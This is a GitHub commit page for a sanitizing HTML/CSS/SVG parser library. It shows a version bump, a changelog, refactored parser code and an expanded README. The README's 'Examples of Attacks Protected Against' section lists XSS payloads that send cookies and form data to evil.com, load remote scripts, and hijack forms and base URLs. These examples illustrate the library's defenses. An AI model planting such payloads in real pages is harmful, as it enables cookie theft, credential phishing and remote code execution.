Skip to content

Commit

Permalink
Merge pull request #4 from AegisJSProject/feature/html-el-and-doc
Browse files Browse the repository at this point in the history
Enhance HTML parser & update README
  • Loading branch information
shgysk8zer0 authored Mar 29, 2024
2 parents 9b45ea0 + 5f7afee commit 2a5c687
Show file tree
Hide file tree
Showing 9 changed files with 234 additions and 85 deletions.
3 changes: 2 additions & 1 deletion .eslintrc.json
Original file line number Diff line number Diff line change
Expand Up @@ -31,7 +31,8 @@
"no-prototype-builtins": 0
},
"globals": {
"globalThis": "readonly"
"globalThis": "readonly",
"MathMLElement": "readonly"
}
}

10 changes: 10 additions & 0 deletions CHANGELOG.md
Original file line number Diff line number Diff line change
Expand Up @@ -4,6 +4,16 @@ All notable changes to this project will be documented in this file.
The format is based on [Keep a Changelog](https://keepachangelog.com/en/1.0.0/),
and this project adheres to [Semantic Versioning](https://semver.org/spec/v2.0.0.html).

## [v0.0.3] - 2024-03-29

### Added
- Add support for parsing HTML Documents using `Document.parseHTML()`
- Add function to parse just a single HTML Element
- Add support in HTML parser for working with arrays and `NodeList`s, etc

### Changed
- Update README

## [Unreleased]

## [v0.0.2] - 2024-03-28
Expand Down
229 changes: 173 additions & 56 deletions README.md
Original file line number Diff line number Diff line change
Expand Up @@ -28,18 +28,28 @@ A collection of secure & minimal parsers for HTML, CSS, SVG, MathML, XML, and JS
- [Contributing](./.github/CONTRIBUTING.md)
<!-- - [Security Policy](./.github/SECURITY.md) -->

## Benefits

- **Lightweight**: (6.4Kb gzipped): Keeps your bundle size small and load times down
- [**Convenient**](#a-quick-example): Easily compose elements, styles, & icons using tagged template literals
- [**XSS Protection**](#examples-of-attacks-protected-against): Built-in sanitization mitigates XSS vulnerabilities
- [**Reusable Components**](#reusable-components-and-styles): Create secure & reusable UI components (or modules) with ease
- [**No Framework Required**](#no-framework-required): Works even without a client-side framework
- [**Customizable**](#advanced-usage-with-custom-sanitizer-config): Supports your own custom lists of tags and attributes
- [**Compatible with Strict CSP & Trusted Types**](#content-security-policy-and-trustedtypespolicy): Does not conflict with other security best practices

## What is This?
This is a lightweight (as little as 6.3Kb, minified and gzipped) library for parsing
This is a lightweight (as little as 6.4Kb, minified and gzipped) library for parsing
various kinds of content using [tagged template literals](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Template_literals#tagged_templates).

It makes creating UI components, icons, and stylesheets easy, more secure, and
reusable. No framework required, though it should be compatible with any
client-side framework (no SSR - unless a full DOM implementation is provided).

It also sanitizes inputs to protect against XSS attacks, much like DOMPuriy. It
provides a safer alternative to `innerHTML` and using `<style>`s and protects
against XSS attacks by removing dangerous elements and attributes, and even
filtering out dangerous links such as `javascript:` URIs.
It also sanitizes inputs to protect against [Cross-Site Scripting](https://owasp.org/www-community/attacks/xss/)
(XSS) attacks, much like DOMPuriy. It provides a safer alternative to `innerHTML` and
using `<style>`s and protects against XSS attacks by removing dangerous elements
and attributes, and even filtering out dangerous links such as `javascript:` URIs.

> [!IMPORTANT]
> While this library, the Sanitizer polyfill, and eventually the Sanitizer API
Expand All @@ -49,33 +59,75 @@ filtering out dangerous links such as `javascript:` URIs.
## A Quick Example

```js
import { html, css, svg } from '@aegisjsproject/parsers';

export const btnStyles = css`.btn {
background-color: #8cb4ff;
color: #fafafa;
border-radius: 6px;
}`;
import { html, css } from '@aegisjsproject/parsers';

export const closeIcon = svg`<svg width="12" height="16" viewBox="0 0 12 16" fill="currentColor">
<path fill-rule="evenodd" d="M7.48 8l3.75 3.75-1.48 1.48L6 9.48l-3.75 3.75-1.48-1.48L4.52 8 .77 4.25l1.48-1.48L6 6.52l3.75-3.75 1.48 1.48L7.48 8z"/>
</svg>`;

export const someBtn = html`<button class="btn" popovertarget="popover">Click Me!</button>`;
document.querySelector('.container').append(html`
<h1>Hello, World!</h1>
`);

export const popover = html`<div id="popover" popover="auto">
<button type="button" popovertarget="popover" popovertargetaction="hide">${closeIcon}</button>
<p>Bacon ipsum dolor amet pastrami sirloin kielbasa tenderloin.</p>
</div>`;
document.adoptedStyleSheets = [css`
:root {
box-sizing: border-box;
}
`];
```

> [!WARNING]
> The Sanitizer API is still being developed, and could change. Until the API
> is stable, this project will remain pre-v1.0.0
### Examples of Attacks Protected Against

```html
<!-- Steals cookies on click -->
<a href="javascript:fetch('https://evil.com/?cookie=' + encodeURIComponent(document.cookie))">Steal Cookie</a>

<!-- Another way of stealing cookies -->
<button onclick="fetch('https://evil.com/?cookie=' + encodeURIComponent(document.cookie))">Steal Cookie</button>

<!-- Steals data from any submitted form -->
<script>
document.forms.forEach(form => {
form.addEventListener('submit', event => {
navigator.sendBeacon('https://evil.com/api', new FormData(event.target));
}, { passive: true });
});
</script>

<!-- Can execute arbitrary code -->
<script src="https://evil.com/attack.js"></script>

<!-- Trick users to giving their credentials to an attacker -->
<form action="https://evil.com/">
<input type="email" placeholder="[email protected]" autocomplete="email" required="" />
<input type="password" placeholder="*******" autocomplete="current-password" required="" />
<button type="submit">Login</button>
</form>

<!-- Change where a form is submitted -->
<button type="submit" formaction="https://evil.com" form="login">Submit</button>

<!-- Changes the base for interpreting all URLs, including scripts and images -->
<base href="https://evil.com/" />
<script src="main.js"></script> <!-- Now points to "https://evil.com/main.js" -->

<!-- Executes an attack when an image loads (or errors when loading) -->
<img src="https://cdn.images.com/cat.jpg" onload="fetch('https://evil.com/?cookie=' + encodeURIComponent(document.cookie))" />
```

## No Framework Required
Everything you need is included in `bundle.min.js`. That includes the polyfill
for the Sanitizer API and exports everything you need. You can use this in nearly
any website, directly from your console (using `import()`), in CodePen, etc.

Compatibility with any client-side framework you are already using depends on
how that framework deals with `DocumentFragment`s and `Element`s as DOM objects.
Any that can render a native DOM Node should work without any struggle. For any
that do not, perhaps some simple wrapper could be used.

## Overview of the Parsers

### `html`
### `html` Tagged Template
This uses the Sanitizer API with a sanitizer config allowing HTML & SVG by default.
It returns a [`DocumentFragment`](https://developer.mozilla.org/en-US/docs/Web/API/DocumentFragment),
allowing for parsing of multiple elements without requiring a container element
Expand All @@ -85,28 +137,110 @@ It will strip out dangerous elements such as `<script>`, attributes such as `onc
and will also remove any `javascript:` or `file:` URI attributes for certain link-type
attributes such as `href`.

### `css`
### `css` Tagged Template
This uses [Constructable StyleSheets](https://web.dev/articles/constructable-stylesheets)
and returns a [`CSSStyleSheet`](https://developer.mozilla.org/en-US/docs/Web/API/CSSStyleSheet),
which may be used via `documentOrShadow.adoptedStyleSheets`.

### `svg`
> [!WARNING]
> Constructable StyleSheets are not fully compatible with [CSS Custom Properties](https://developer.mozilla.org/en-US/docs/Web/CSS/Using_CSS_custom_properties).
> You may use any that are set elsewhere, but you cannot set new ones.
```css
/* Works */

.foo {
color: var(--my-color, red);
}

/* Does not work */

.foo {
--my-color: red;
}
```

### `svg` Tagged Template
This uses `Document.parseHTML()` with a sanitizer config allowing SVG elements
and attributes, using the correct namespaces. It returns an [`SVGSVGElement`](https://developer.mozilla.org/en-US/docs/Web/API/SVGSVGElement).

### `math`
### `math` Tagged Template
This uses `Document.parseHTML()` with a sanitizer config allowing MathML elements
and attributes, using the correct namespaces. It returns an [`MathMLElement`](https://developer.mozilla.org/en-US/docs/Web/API/MathMLElement).

## `xml`
### `xml` Tagged Template
This is just a simple wrapper function using `new DOMParser().parseFromString(str, { type: 'application/xml' })`.
It does not provide any additional security, only a more convenient way of parsing XML.

## `json`
### `json` Tagged Template
This is also just a convenient wrapper that provides no security benefits. It
just calls `JSON.parse()`.

- - -
## Reusable Components and Styles
Write once and use anywhere! You can event put them in a module script and `export`
components, styles, and icons.

```js
import { html, css, svg } from '@aegisjsproject/parsers';

export const btnStyles = css`.btn {
background-color: #8cb4ff;
color: #fafafa;
border-radius: 6px;
}`;

export const closeIcon = svg`<svg width="12" height="16" viewBox="0 0 12 16" fill="currentColor">
<path fill-rule="evenodd" d="M7.48 8l3.75 3.75-1.48 1.48L6 9.48l-3.75 3.75-1.48-1.48L4.52 8 .77 4.25l1.48-1.48L6 6.52l3.75-3.75 1.48 1.48L7.48 8z"/>
</svg>`;

export const someBtn = html`<button class="btn" popovertarget="popover">Click Me!</button>`;

export const popover = html`<div id="popover" popover="auto">
<button type="button" popovertarget="popover" popovertargetaction="hide">${closeIcon}</button>
<p>Bacon ipsum dolor amet pastrami sirloin kielbasa tenderloin.</p>
</div>`;
```

> [!TIP]
> Store your color palette in perhaps a `palette.js` module to make it easier to
> keep designs consistent.
### Importing from Modules

```js
import { showBtn, popover } from './template.js';
import { styles } from './style.js';
import { btnStyles, darkTheme, lightTheme } from '../shared-styles.js';

customElements.define('my-component', class MyComponent extends HTMLElement {
constructor() {
super();
this.attachShadow({ mode: 'open' });
this.shadowRoot.append(someBtn.cloneNode(true), popover.cloneNode(true));
this.shadowRoot.adoptedStyleSheets = [styles, btnStyles, darkTheme, lightTheme];
}
});
```
### Composing Components via Functions
Another great use would be creating a function that returns a component that uses
data from its arguments:

```js
export const createComment = ({ username, userId, date, body }) => html`
<div class="comment">
<div class="comment-header">
Posted by <a href="/users/${userId}">${username}</a> on <time datetime="${date.toISOString()}">${date.toLocalseString()}</time>
</div>
<div class="comment-body">${body}</div>
</div>
`;
```

> [!WARNING]
> Although the Sanitizer API does a lot to protect against XSS attacks, it would
> still be a good idea to create a more restricted parser that only allows for
> very limited tags and attributes.
> [!TIP]
> Reusing Parsed HTML, SVG, & MathML
Expand All @@ -127,6 +261,9 @@ well as to allow loading any different polyfill should you choose.

When not using the bundle, it is best to import the polyfill as a separate `<script>`:

> [!IMPORTANT]
> Be sure to load the polyfill *before* any script using the parsers.
```html
<!-- Note: The version and `integrity` are not necessarily current -->
<script referrerpolicy="no-referrer" crossorigin="anonymous" integrity="sha384-OUI/F1tbQMDz0u/Yf2w+15JU5U5sQzji2Do4pFQIBI7Zc5B5j0LnOoOjA4HpBCwp" src="https://unpkg.com/@aegisjsproject/[email protected]/polyfill.min.js" fetchpriority="high" defer=""></script>
Expand All @@ -146,12 +283,14 @@ require('@aegisjsproject/sanitizer/polyfill');
```

## Use as ES Module with [importmap](https://developer.mozilla.org/en-US/docs/Web/HTML/Element/script/type/importmap)
Please be aware that `<script type="importmap">` falls under `script-src` in
[Content-Security-Policy](https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/Content-Security-Policy/script-src).
As such, if you use CSP and do not allow `'unsafe-inline'`, you will need to add
a `nonce="examplerandomstring"` on it and add `'nonce-examplerandomstring'` to `script-src`.
Or, you could use a hash/`integrity`/SRI, but be aware that it will be invalid if
a single character changes.

> [!IMPORTANT]
> Please be aware that `<script type="importmap">` falls under `script-src` in
> [Content-Security-Policy](https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/Content-Security-Policy/script-src).
> As such, if you use CSP and do not allow `'unsafe-inline'`, you will need to add
> a `nonce="examplerandomstring"` on it and add `'nonce-examplerandomstring'` to `script-src`.
> Or, you could use a hash/`integrity`/SRI, but be aware that it will be invalid if
> a single character changes.
```html
<script type="importmap">
Expand All @@ -166,28 +305,6 @@ a single character changes.
</script>
```

## Basic Usage
```js
import { html, css, svg } from '@aegisjsproject/parsers';

const icon = svg`<svg viewBox="0 0 10 10" height="18" width="18" class="icon" fill="currentColor">
<rect x="0" y="0" height="10" width="10" rx="1" ry="1" />
</svg>`

const styles = css`
.foo {
color: red;
}
`;

const template = html`<div class="container" data-foo="bar">
<h1>Hello, World!</h1>
</div>`;

document.body.append(template, icon);
document.adoptedStyleSheets = [styles];
```

## Importing Only What is Necessary (ES Modules Only)
```js
import { html } from '@aegisjsproject/html.js';
Expand Down
34 changes: 10 additions & 24 deletions html.js
Original file line number Diff line number Diff line change
@@ -1,28 +1,5 @@
import { sanitizer } from '@aegisjsproject/sanitizer/config/base.js';

function stringify(thing) {
switch(typeof thing) {
case 'string':
return thing;

case 'object':
if (thing instanceof DocumentFragment) {
return Array.from(
thing.childNodes,
node => node.nodeType === Node.ELEMENT_NODE
? node.outerHTML
: node.textContent
);
} else if (thing instanceof Element) {
return thing.outerHTML;
} else {
return thing.toString();
}

default:
return thing.toString();
}
}
import { stringify } from './utils.js';

export const createHTMLParser = (config = sanitizer) => (strings, ...values) => {
const el = document.createElement('div');
Expand All @@ -33,3 +10,12 @@ export const createHTMLParser = (config = sanitizer) => (strings, ...values) =>
};

export const html = createHTMLParser(sanitizer);

export const el = (...args) => html.apply(null, args).firstElementChild;

export function doc(strings, ...values) {
return Document.parseHTML(
String.raw(strings, ...values.map(stringify)),
{ sanitizer }
);
}
4 changes: 2 additions & 2 deletions package-lock.json

Some generated files are not rendered by default. Learn more about how customized files appear on GitHub.

2 changes: 1 addition & 1 deletion package.json
Original file line number Diff line number Diff line change
@@ -1,6 +1,6 @@
{
"name": "@aegisjsproject/parsers",
"version": "0.0.2",
"version": "0.0.3",
"description": "A collection of secure & minimal parsers for HTML, CSS, SVG, MathML, XML, and JSON",
"keywords": [
"aegis",
Expand Down
Loading

0 comments on commit 2a5c687

Please sign in to comment.